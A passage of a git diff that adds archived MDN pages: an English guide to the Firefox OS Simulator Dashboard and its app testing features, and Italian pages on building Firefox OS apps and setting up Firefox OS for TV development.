+ Once you have installed the Simulator add-on, Firefox will periodically check for newer versions and keep it up to date for you.</p>
+<p>The Dashboard opens automatically when you install the Simulator, and you can reopen it at any time by going to the "Firefox" menu (or the "Tools" menu on OS X and Linux), then "Web Developer", then "Firefox OS Simulator":</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5141/simulator-open-on-windows-7.png" style="margin-right: auto; margin-left: auto; display: block;"><br>
+ The Dashboard is the tool you use to add your app to the Simulator and run it. Here's what it looks like: <img alt="" src="https://mdn.mozillademos.org/files/5491/dashboard-4.0.png"></p>
+<h2 id="Adding_removing_and_refreshing_apps"><a name="Adding-updating-removing">Adding, removing and refreshing apps</a></h2>
+<h3 id="Adding_apps">Adding apps</h3>
+<p>To add a <a href="/en-US/docs/Apps/Packaged_apps" title="/en-US/docs/Apps/Packaged_apps">packaged app</a> to the Simulator, open the Dashboard, click "Add Directory" and select the <a href="/en-US/docs/Apps/Manifest" title="/en-US/docs/Apps/Manifest">manifest file</a> for your app.<br>
+ <br>
+ To add a hosted app, enter a URL in the textbox where it says "URL for page or manifest.webapp", then click "Add URL". If the URL points to a manifest, then that manifest will be used. If it doesn't, the Dashboard will generate a manifest for the URL: so you can add any website as an app just by entering its URL.<br>
+ <br>
+ When you add an app, the Dashboard will run a series of tests on your manifest file, checking for common problems. See the section on <a href="#Manifest-validation" title="#Manifest-validation">Manifest Validation</a> for details on what tests are run.</p>
+<p>Unless manifest validation reveals that your app has errors, the Dashboard will then automatically run your app in the Simulator.</p>
+<h3 id="Managing_apps">Managing apps</h3>
+<p>Once you have added an app, it will appear in the Manager's list of installed apps:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5493/dashboard-list-apps-4.0.png"><br>
+ Each entry gives us the following information about the app:</p>
+<ul>
+ <li>its name, taken from the manifest</li>
+ <li>its type, which will be one of "Packaged", "Hosted", or "Generated"</li>
+ <li>a link to its manifest file</li>
+ <li>the result of manifest validation</li>
+</ul>
+<p>It also gives us four commands:</p>
+<ul>
+ <li><strong>"Refresh":</strong> use this to update and reload the app in the Simulator after you have made changes to it. This also makes the Dashboard validate the manifest again. If you make changes to your app they will not be reflected automatically in the installed app: you will need to refresh the app to apply the changes.</li>
+ <li><strong>"Connect": </strong>use this to connect developer tools to the selected app. The Dashboard will start the Simulator and app if they aren't already running.</li>
+ <li><strong>"Remove" ("X"):</strong> use this to remove the app from the Simulator and the Dashboard. You can undo this action as long as the Dashboard tab is open.</li>
+ <li><strong>"Receipt":</strong> use this to test receipt verification for paid apps. After you select a type of receipt to test, the app will be reinstalled with a test receipt of the given type.</li>
+</ul>
+<div class="note">
+ <p><strong>Refresh App from the Simulator window</strong>: you can update and reload an app directly from the Simulator window <a href="#Simulator-menubar" title="#Simulator-menubar">using the menubar action or its associated shortcut</a> while the app is running.</p>
+</div>
+<h3 id="Manifest_validation"><a name="Manifest-validation">Manifest validation</a></h3>
+<p>When you supply a manifest, the Manager will run some validation tests on it. It reports three categories of problems:</p>
+<ul>
+ <li>manifest errors: problems that will prevent your app from installing or running</li>
+ <li>manifest warnings: problems that may prevent your app from working properly</li>
+ <li>simulator-specific warnings: features your app is using that the Simulator doesn't yet support</li>
+</ul>
+<p>It summarises the problems encountered in the entry for the app: clicking on the summary provides more details.</p>
+<h4 id="Manifest_errors">Manifest errors</h4>
+<p>The Dashboard will report the following conditions as errors, meaning that you won't be able to run your app in the Simulator without fixing them:</p>
+<ul>
+ <li>the manifest does not include the mandatory "name" field</li>
+ <li>the manifest is not valid JSON</li>
+ <li>the app is a hosted app, but the <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type</a> field in its manifest is <a href="/en-US/docs/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Apps/Packaged_apps#Types_of_packaged_apps">"privileged" or "certified"</a>, which are only available to packaged apps</li>
+ <li>common appCache errors (packaged apps can't use appCache, requests to the manifest URL return an HTTP redirect or an HTTP error status)</li>
+</ul>
+<p>Here's the result of trying to add a manifest file with a missing "name":<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5495/dashboard-missing-name-4.0.png"></p>
+<h4 id="Manifest_warnings">Manifest warnings</h4>
+<p>The Dashboard will report the following manifest issues as warnings:</p>
+<ul>
+ <li>missing icons</li>
+ <li>the icon is less than 128 pixels: all apps submitted to the Marketplace must have at least one icon that is at least 128 pixels square</li>
+ <li>the <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type</a> field is unrecognized</li>
+ <li>the manifest requests a <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a> that is unrecognized</li>
+ <li>the manifest requests a <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a> which will be denied</li>
+ <li>the manifest requests a <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a> for which access could not be determined</li>
+</ul>
+<h4 id="Simulator-specific_warnings">Simulator-specific warnings</h4>
+<p>Finally, the Manager will emit warnings for apps that use features of Firefox OS not yet fully supported by the Simulator:</p>
+<ul>
+ <li>the <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type</a> field is "certified", but the Simulator does not yet fully support certified apps</li>
+ <li>the manifest requests a <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a> to use an API that is <a href="#Unsupported-APIs" title="#Unsupported-APIs">not yet supported</a> by the Simulator</li>
+</ul>
+<h2 id="Running_the_Simulator"><a name="Running-the-Simulator">Running the Simulator</a></h2>
+<p>There are two different ways the Simulator may be started:</p>
+<ul>
+ <li>if you add an app or click the "Refresh" or "Connect" button next to your app's entry, the Dashboard will automatically run your app in the Simulator</li>
+ <li>if you click the button labeled "Stopped" on the left-hand side of the Dashboard, the Simulator will boot to the Home screen and you'll need to navigate to your app</li>
+</ul>
+<p>Either way, once the Simulator is running, the button labeled "Stopped" turns green and the label changes to "Running". To stop the Simulator, click this button again.<br>
+ <br>
+ The Simulator appears as a separate window, sized so the simulated screen area is 320x480 pixels, with a <a href="#Simulator-toolbar" title="#Simulator-toolbar">toolbar at the bottom</a> and a <a href="#Simulator-menubar" title="#Simulator-menubar">menubar at the top</a> that contains some extra features:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5505/simulator-bars.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<p>To simulate touch events you can click the mouse button and drag while holding the button down. So by clicking and dragging right-to-left from the Home Screen, you'll see the built-in apps, as well as any apps you have added:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5517/simulator-homescreen.png"></p>
+<h3 id="Simulator_toolbar"><a name="Simulator-toolbar">Simulator toolbar</a></h3>
+<p>In the bottom toolbar, from left to right, these are the <strong>Home button</strong>, the <strong>Screen Rotation button</strong>, and the <strong>Geolocation button</strong>.</p>
+<ul>
+ <li>the <strong>Home button</strong> takes you to the Home screen (or to the task list if you keep it pressed for a couple of seconds)</li>
+ <li>the <strong>Screen Rotation button</strong> switches the device between portrait and landscape orientation. This will generate the <a href="https://developer.mozilla.org/en-US/docs/WebAPI/Managing_screen_orientation#Listening_orientation_change" title="/en-US/docs/WebAPI/Detecting_device_orientation">orientationchange</a> event.</li>
+ <li>the <strong>Geolocation button</strong> triggers a dialog asking you to share your geographic location, either using your current coordinates or supplying custom coordinates: this will be made available to your app via the <a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Geolocation API</a>.</li>
+</ul>
+<p><a href="https://mdn.mozillademos.org/files/5511/simulator-geolocation.png"><img alt="" src="https://mdn.mozillademos.org/files/5511/simulator-geolocation.png" style="width: 520px; height: 309px;"></a><a href="https://mdn.mozillademos.org/files/5519/simulator-screen-orientation.png"><img alt="" src="https://mdn.mozillademos.org/files/5519/simulator-screen-orientation.png" style="width: 500px; height: 297px;"></a></p>
+<h3 id="Simulator_menubar"><a name="Simulator-menubar"></a>Simulator menubar</h3>
+<p>In the top menubar, you can access some useful commands to make development more efficient:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5525/simulator-menubar.png"></p>
+<ul>
+ <li><strong>File -&gt; Quit</strong> (<em>Ctrl/Cmd - Q</em>): shut down the Simulator</li>
+ <li><strong>App -&gt; Refresh</strong> (<em>Ctrl/Cmd - R</em>): refresh the running app</li>
+</ul>
+<p>The keyboard shortcut for the <strong>"App Refresh"</strong> command makes it possible to iteratively develop an app much like a web page:</p>
+<ul>
+ <li>make a change to the code (and rerun your build tool if needed, e.g. volo / yeoman / grunt)</li>
+ <li>type the keyboard shortcut to refresh the app running in the Simulator</li>
+</ul>
+<div class="note">
+ <p><strong>"Refresh App and Clear Data" hidden shortcut:</strong> sometimes it's useful to clear data that the Simulator has stored for an app, so the Simulator contains a hidden shortcut, <em>Shift - Ctrl/Cmd - R</em>, that will refresh the running app while clearing the following data:</p>
+ <ul>
+  <li>
+   <p>localStorage / sessionStorage</p>
+  </li>
+  <li>
+   <p>cookies</p>
+  </li>
+  <li>
+   <p>indexedDB</p>
+  </li>
+  <li>
+   <p>appCache</p>
+  </li>
+ </ul>
+</div>
+<h2 id="Attaching_developer_tools"><a name="Attaching-developer-tools">Attaching developer tools</a></h2>
+<p>You can attach developer tools to the Simulator, to help debug your app. At the moment you can only attach the <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a>, the <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a>, the <a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a>, the <a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a> and the <a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a>, but we're working on adding support for more <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window">developer tools</a>.</p>
+<div class="geckoVersionNote">
+ <p>Some of these tools are only available in Beta, Aurora, or Nightly builds of Firefox.</p>
+</div>
+<p>To attach developer tools to the Simulator, click the <strong>"Connect"</strong> button for an app:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5497/connect-to-app-button.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<p>The Dashboard will then open a developer toolbox pane at the bottom of the Dashboard tab and connect it to the app:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5501/simulator-devtools-connected.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<h3 id="Web_Console">Web Console</h3>
+<p>The app can log to this console using the global <a href="/en-US/docs/DOM/console" title="/en-US/docs/DOM/console">console</a> object, and it displays various other messages generated by the app: network requests, CSS and JS warnings/errors, and security errors. (<a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Learn more about the Web Console.</a>)</p>
+<h3 id="Debugger">Debugger</h3>
+<p>Using the Debugger, you can step through JavaScript code that is running in the connected app, manage breakpoints, and watch expressions to track down errors and problems faster. (<a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Web_Console">Learn more about the Debugger.</a>)</p>
+<h3 id="Style_Editor">Style Editor</h3>
+<p>You can view and edit CSS files referenced in the app using the connected Style Editor. Your changes will be applied to the app in real time, without needing to refresh the app. (<a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Web_Console">Learn more about the Style Editor.</a>)</p>
+<h3 id="Profiler">Profiler</h3>
+<p>Using the Profiler tool connected to the app, you can to find out where your JavaScript code is spending too much time. The Profiler periodically samples the current JavaScript call stack and compiles statistics about the samples. (<a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Web_Console">Learn more about the Profiler.</a>)</p>
+<h3 id="Network_Monitor">Network Monitor</h3>
+<p>Thanks to the new Network Monitor, you can analyze the status, headers, content and timing of all the network requests initiated by the app through a friendly interface. (<a href="https://hacks.mozilla.org/2013/06/network-monitor-now-in-firefox-beta/" title="https://hacks.mozilla.org/2013/06/network-monitor-now-in-firefox-beta/">Learn more about the Network Monitor.</a>)</p>
+<h2 id="Receipts"><a name="Simulator-receipts"></a>Receipts</h2>
+<p>If you are developing a paid app, you should test your receipt validation code (e.g. the code that verifies that a user has already purchased the app or has been issued a refund and then informs the user and locks or unlocks app features accordingly) on a valid (cryptographically signed) receipt.</p>
+<p>Thanks to the <strong>"Receipts"</strong> menu in each app entry on the Simulator Dashboard, you can install an app with a <strong>"Valid"</strong>, <strong>"Invalid"</strong>, or <strong>"Refunded"</strong> test receipt. Simply select the type of receipt you wish to test, and the Dashboard will retrieve a test receipt of that type from the Marketplace receipt service and reinstall the app with that receipt in the Simulator:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5523/simulator-receipts-selector-4.0.png"></p>
+<h2 id="Push_to_device"><a name="Push-to-device">Push to device</a></h2>
+<p>If you have a Firefox OS device you can connect it to the Simulator, and can then push apps from the Dashboard to the device.</p>
+<h3 id="Connecting_a_device">Connecting a device</h3>
+<p>To connect the device, follow the instructions in the guide to <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop">connecting a Firefox OS device to the desktop</a>. Note that you don't have to install ADB, as the Simulator add-on includes it already.</p>
+<h3 id="Pushing_apps_to_the_device">Pushing apps to the device</h3>
+<p>Once you've set up the device and desktop, and connected the device to your desktop via USB, you'll see the note <strong>"Device connected"</strong> appear on the left of the Dashboard, and a new command appear in the entry for each app labeled <strong>"Push"</strong>:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5521/simulator-push2device.png"></p>
+<p>Click <strong>"Push"</strong>, and the app will be installed on the Firefox OS device.</p>
+<div class="note">
+ <p><strong>Manual Steps:</strong></p>
+ <ul>
+  <li>
+   <p>Once you’ve pushed the app to the device, you need to manually close and restart it again, to get updated content</p>
+  </li>
+  <li>
+   <p>If you update anything in the manifest (e.g. app name, orientation, type, permissions), you need to reboot the operating system for those changes to have effect</p>
+  </li>
+ </ul>
+</div>
+<h3 id="Firefox_OS_Device_Connection_Confirmation">Firefox OS Device Connection Confirmation</h3>
+<p>On every device reboot, the first <strong>"Push"</strong> request needs to be confirmed on the device:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5527/device-push-confirmation.png" style="width: 320px; height: 480px;"></p>
+<h3 id="Troubleshooting_on_Linux">Troubleshooting on Linux</h3>
+<p>If you are unable to connect your device after creating udev rules, please see this <a href="https://github.com/mozilla/r2d2b2g/issues/515" title="https://github.com/mozilla/r2d2b2g/issues/515">bug</a>.</p>
+<h2 id="Limitations_of_the_Simulator"><a name="Limitations">Limitations of the Simulator</a></h2>
+<p>Note that the Firefox OS Simulator isn't a perfect simulation.</p>
+<h3 id="Hardware_limitations">Hardware limitations</h3>
+<p>Apart from screen size, the Simulator does not simulate the hardware limitations of a Firefox OS device such as available memory or CPU speed.</p>
+<h3 id="Audiovideo_codecs">Audio/video codecs</h3>
+<p>The following codecs depend on hardware-accelerated decoding and are therefore not yet supported:</p>
+<ul>
+ <li>MP3</li>
+ <li>AAC</li>
+ <li>H.264 (MP4)</li>
+ <li>WebM</li>
+</ul>
+<p>This means it isn't possible to use the Simulator to test video playback in apps and on websites like Youtube that rely on these codecs.</p>
+<h3 id="Unsupported_APIs"><a name="Unsupported-APIs">Unsupported APIs</a></h3>
+<p>Certain APIs that work on the device won't work on the Simulator, generally because the supporting hardware is not available on the desktop. We've implemented simulations for some APIs such as geolocation, and expect to add more in future releases. However, at the moment the following APIs are not supported. Using them might throw errors or just return incorrect results:</p>
+<ul>
+ <li><a href="/en-US/WebAPI/WebTelephony" title="/en-US/WebAPI/WebTelephony">Telephony</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebSMS" title="/en-US/docs/WebAPI/WebSMS">WebSMS</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebBluetooth" title="/en-US/docs/WebAPI/WebBluetooth">WebBluetooth</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_Light_Events" title="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light</a></li>
+ <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity</a></li>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information</a></li>
+ <li><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">navigator.onLine and offline events</a></li>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration</a></li>
+</ul>
+<h2 id="Getting_help"><a name="Simulator-help"></a>Getting help</h2>
+<p>The Firefox OS Simulator is still at an early stage of development, and isn't yet as reliable and complete as we'd like it to be.</p>
+<p>If you find any bugs, please <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">file them on GitHub</a>. If you have a question, try asking us on the <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools mailing list</a> or on <a href="irc://irc.mozilla.org/#devtools">#devtools on irc.mozilla.org</a>.</p>
+<h3 id="How_to_enable_verbose_logging"><a name="Simulator-verbose-logging"></a>How to enable verbose logging</h3>
+<p>Use about:config to create the preference <a href="mailto:extensions.r2d2b2g@mozilla.org.sdk.console.logLevel">extensions.r2d2b2g@mozilla.org.sdk.console.logLevel</a>, set it to the integer value 0, and disable/reenable the addon. Additional messages about the Simulator's operation will appear in the Error Console (or Browser Console in newer versions of Firefox).</p>
+<h3 id="How_to_get_the_latest_preview_build"><a name="Simulator-latest-preview-build"></a>How to get the latest preview build</h3>
+<p>As the <a href="/en-US/docs/Tools/Firefox_OS_Simulator#Installing_the_Simulator_add-on">section on installing the Simulator</a> explains, you can get the latest release of the Simulator add-on from <a href="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/">addons.mozilla.org</a>.</p>
+<p>Sometimes you might want to try out the very latest features before they're officially released. If so, you can download preview builds from the following URLs:</p>
+<ul>
+ <li>Windows: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-windows.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-windows.xpi</a></li>
+ <li>Mac: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-mac.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-mac.xpi</a></li>
+ <li>Linux: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-linux.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-linux.xpi</a></li>
+</ul>
+<p>Be aware that preview builds are less stable and thoroughly tested than release builds.</p>
diff --git a/files/it/archive/b2g_os/sviluppo_applicazioni/index.html b/files/it/archive/b2g_os/sviluppo_applicazioni/index.html
new file mode 100644
index 0000000000..50331abb97
--- /dev/null
+++ b/files/it/archive/b2g_os/sviluppo_applicazioni/index.html
@@ -0,0 +1,14 @@
+---
+title: Sviluppo applicazioni perFirefox OS
+slug: Archive/B2G_OS/Sviluppo_applicazioni
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS
+---
+<p><span style="line-height: 1.572;">Per informazioni esaurienti sullo sviluppo di app per Firefox OS vedi il  </span><a href="https://marketplace.firefox.com/developers/" style="line-height: 1.572;" title="https://marketplace.firefox.com/developers/">Firefox Marketplace Developer Hub</a><span style="line-height: 1.572;">.</span></p>
+<p><span style="line-height: 1.572;">Puoi anche controlare le <a href="/en-US/docs/Apps/Reference" title="/en-US/docs/Apps/Reference">App Development API Reference</a>.</span></p>
+<p><span style="line-height: 1.572;">Le app per Firefox OS non sono niente più di </span><a href="/en-US/docs/Apps" style="line-height: 1.572;">Open Web apps</a><span style="line-height: 1.572;"> che vengono installate su un dispositivo ccon installato Firefox OS.</span></p>
+<ul>
+  <li><a href="/it/docs/Apps/Getting_Started">Cominicia a sviluppare la tua app</a></li>
+  <li><a href="/it/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS">Scrivere una Web app per Firefox OS</a></li>
+</ul>
+<div class="note">
+  <strong>Note:</strong> Firefox OS currently identifies using the same UA string as Firefox for Android, except without the <code>Android;</code> clause. For example: <code>Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0a1</code>.</div>
diff --git a/files/it/archive/b2g_os/tvs_connected_devices/index.html b/files/it/archive/b2g_os/tvs_connected_devices/index.html
new file mode 100644
index 0000000000..eafe6726be
--- /dev/null
+++ b/files/it/archive/b2g_os/tvs_connected_devices/index.html
@@ -0,0 +1,175 @@
+---
+title: TV e dispositivi connessi
+slug: Archive/B2G_OS/TVs_connected_devices
+tags:
+  - B2G
+  - Firefox OS
+  - Firefox OS e dispositivi connessi
+  - Gaia
+  - Guida
+  - TV
+translation_of: Mozilla/Firefox_OS_for_TV
+---
+<p class="summary">Questo articolo è scritto per sviluppatori web interessanti a Firefox OS per TV, allo stato attuale dei lavori e futuro, e allo sviluppo di web app per TV. Descrive come realizzare ed eseguire un simulatore di Firefox OS per TV, quindi come iniziare a scrivere app e installarle su TV.</p>
+
+<p>Le differenze principali nell'utilizzo di Firefox OS su un TV piuttosto che su un telefono (o su un desktop) sono:</p>
+
+<ul>
+ <li><strong>Meccanismi di controllo</strong>: Firefox OS su TV probabilmente ha il solo telecomando per interagire, non offre la stessa praticità di una tastiera, mouse o touch screen.</li>
+ <li><strong>Risoluzione</strong>: Le moderne smart TV sono generalmente Full HD (1920x1080) o Ultra HD (4K). La proporzione di un pixel sulle TV è sicuramente differente rispetto ad un dispositivo mobile.</li>
+</ul>
+
+<h2 id="Stato_attuale_e_piani_futuri">Stato attuale e piani futuri</h2>
+
+<p>Dalla versione 2.2 in avanti Gaia può essere eseguito su una TV. Puoi trovare le app out-of-the-box per smart TV nella cartella <a href="https://github.com/mozilla-b2g/gaia/tree/master/tv_apps">gaia/tv_apps</a>; le app con prefisso <code>smart-</code> identificano le app per smart TV. A partire dalla prima metà del 2015, saranno disponibili sul mercato televisori con interfaccia uente (UI) basate sulle app che vedremo di seguito.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>smart-home</code> e <code>smart-deck</code> sono delle buone app da utilizzare come template iniziale per lo sviluppo delle tue app, piuttosto che come fonte di idee o ispirazione.</p>
+</div>
+
+<h2 id="Sviluppare_app_per_TV">Sviluppare app per TV</h2>
+
+<p>In questa sezione esplorerai come predisporre un ambiente per eseguire e testare le tue app per TV, e come scrivere una semplice app di test.</p>
+
+<h3 id="Scaricare_gli_strumenti">Scaricare gli strumenti</h3>
+
+<p>Ti servono tre componenti principali per costruire l'ambiente di sviluppo:</p>
+
+<ul>
+ <li><strong>Simulatore per desktop</strong>: Dovresti scaricare e installare l'ultimo <a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">Simulatore Nightly per Desktop</a> (anche conosciuto come B2G Desktop), o — se ti senti veramente avventuroso  — <a href="/en-US/Firefox_OS/Building_the_Firefox_OS_simulator">costruiscilo da te stesso</a>. Dovrai scaricare quello appropriato per il tuo sistema, il file inizierà per <code>b2g-</code>.</li>
+ <li><strong>Firefox Nightly/Developer Edition:</strong> Dovresti inoltre installare Firefox Nightly (o la Developer Edition). <a href="https://nightly.mozilla.org/">Scarica la Nightly</a> o la <a href="https://www.mozilla.org/en-US/firefox/developer/">Developer Edition</a> dalle loro pagine ufficiali.</li>
+ <li><strong>Un fork locale del <a href="https://github.com/mozilla-b2g/gaia">repository di Gaia</a></strong>: Puoi configurarlo seguendo le istruzioni sottostanti (vedi inoltre <a href="https://developer.mozilla.org/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Running_the_Gaia_codebase#Eseguire il tuo build di Gaia">Eseguire il tuo build di Gaia</a> per ulteriori informazioni):
+  <ol>
+   <li>Primo, fai un fork del <a href="https://github.com/mozilla-b2g/gaia">repository principale di Gaia su Github</a>.</li>
+   <li>Quindi, fai una copia locale tramite il comando:
+    <pre class="brush: bash"><code>git clone https://github.com/your-username/gaia.git</code></pre>
+   </li>
+   <li>Aggiungi l'upstream remoto al repository locale:
+    <pre class="brush: bash"><code>cd gaia
+git remote add upstream https://github.com/mozilla-b2g/gaia</code></pre>
+   </li>
+  </ol>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Non ti serve fare il fork del repository di Gaia ne configurare l'upstream, ma è una buona pratica se vuoi contribuire al progetto riportando indietro le eventuali modifiche.</p>
+</div>
+
+<h3 id="Configurare_il_tuo_ambiente">Configurare il tuo ambiente</h3>
+
+<p>Ora devi creare un profilo di Gaia specifico per TV. Dal tuo repository locale esegui il seguente comando:</p>
+
+<pre class="brush: bash"><code>make GAIA_DEVICE_TYPE=tv DEVICE_DEBUG=1</code></pre>
+
+<p>Verrà creato un profilo per TV all'interno della cartella <code>profile</code> ottimizzato per il debugging. Verrà creata una versione <em>hosted</em> delle app di Gaia che potrà essere servita direttamente dal server HTTPD disponibile in Firefox Desktop come estensione. Quando apporterai una modifica sarà sufficiente effettuare un refresh della app (o della finestra del browser) per verificarne il risultato, invece di ricostruire il profilo, pubblicarlo sul dispositivo, e così via. Questa modalità è molto utile per un rapido sviluppo di CSS/JS/HTML.</p>
+
+<h3 id="Eseguire_nel_simulatore">Eseguire nel simulatore</h3>
+
+<p>Ora esegui il Simulatore di Firefox Desktop configurando opportunamente la dimensione dello schermo, abilitando il debug remoto lato server e impostando il path del profilo:</p>
+
+<pre><code>path/to/b2g-bin -screen 1920x1080 -start-debugger-server 6000 -profile /path/to/gaia/profile</code>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Se la risoluzione dello schermo è superiore a quella del tuo PC, le app di sistema non lavoreranno correttamente. Riduci la dimensione dello schermo per adattarla a quella del tuo sistema.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Trovi <code>b2g-bin</code> nel pacchetto <code>b2g</code> installato assieme al simulatore di Firefox OS.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Il path <code>-profile /path/to/gaia/profile</code> che devi impostare è quello che ti stato restituito quando hai creato il profilo (dopo aver eseguito il comando di <code>make</code> come mostrato precedentemente).</p>
+</div>
+
+<p>Se tutto procede correttamente dovresti vedere la app di orologio. Temporaneamente è la app di atterraggio.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10472/Screen%20Shot%202015-04-21%20at%205.52.12%20PM.png" style="display: block; height: 376px; margin: 0px auto; width: 640px;"></p>
+
+<p>Premendo il tasto di <code>Home</code> nella parte inferiore della finestra viene avviata la app di Home, che rappresenta il punto di ingresso principale per le app per Smart TV. Puoi navigare utilizzando i tasti con le frecce; puoi anche selezionare l'icona <code>Apps</code> per avviare il contenitore delle App (App deck), dove potrai trovare la tua app di test dopo che l'avremo creata (vedi la sezione sottostante {{anch("Esempio Hello World ")}}).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10474/Screen%20Shot%202015-04-21%20at%205.51.49%20PM.png" style="display: block; height: 376px; margin: 0px auto; width: 640px;"></p>
+
+<p>Lo schermata principale che contiene le App (App deck) è simile alla seguente:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10476/Screen%20Shot%202015-04-21%20at%205.51.19%20PM.png" style="display: block; height: 376px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Esempio_Hello_World">Esempio Hello World</h2>
+
+<p>Ora proverai a svluppare una app di test, così potrai renderti conto di quanto sia facile iniziare. Utilizzerai lo strumento <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> di Mozilla. Ti consente di avviare facilmente una web app, di modificare il codice HTML/CSS/JS, di fare attività di test/debug delle app — senza avere a disposizione un dispositivo reale.</p>
+
+<p>Per aprire WebIDE in Firefox per Desktop, seleziona <em>Tools &gt; Web Developer &gt; WebIDE</em> dal menù principale. <img alt="" src="https://mdn.mozillademos.org/files/10444/11.09.37.png" style="display: block; height: 490px; margin: 0px auto; width: 640px;">Ora clicca <em>Open App</em> nell'angolo in alto a sinistra di WebIDE e scegli <em>New App…</em> dal menu.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10446/11.14.38.png"></p>
+
+<p>Seleziona <em>HelloWorld</em>, inserisci il <em>Project Name</em> (nome del progetto) e clicca <em>OK</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10448/11.15.06.png"></p>
+
+<p>Dopo aver specificato la cartella in cui salvare il progetto, WebIDE produrrà un template di App con poche righe di codice:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10450/11.15.37.png"></p>
+
+<p>Ora puoi programmare la tua app direttamente da WebIDE, piuttosto che utilizzare qualsiasi altro editor.</p>
+
+<h3 id="Esuguire_la_tua_app_sulla_TV"><strong>Esuguire la tua app sulla TV</strong></h3>
+
+<p>Se hai una televisione Panasonic VIERA con Firefox OS puoi eseguire le tue applicazioni sulla TV via WebIDE e trovi le spiegazioni nell'articolo <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/How_to_connect_WebIDE_to_TV_%28VIErA%29">How to connect WebIDE to TV (VIErA CX/CR series)</a>. </p>
+
+<p>Poichè non è ancora presente alcun simulatore per TV in WebIDE, dovrai provare l'applicazione di esempio nel simulatore di Firefox OS scaricato precedentemente.</p>
+
+<ol>
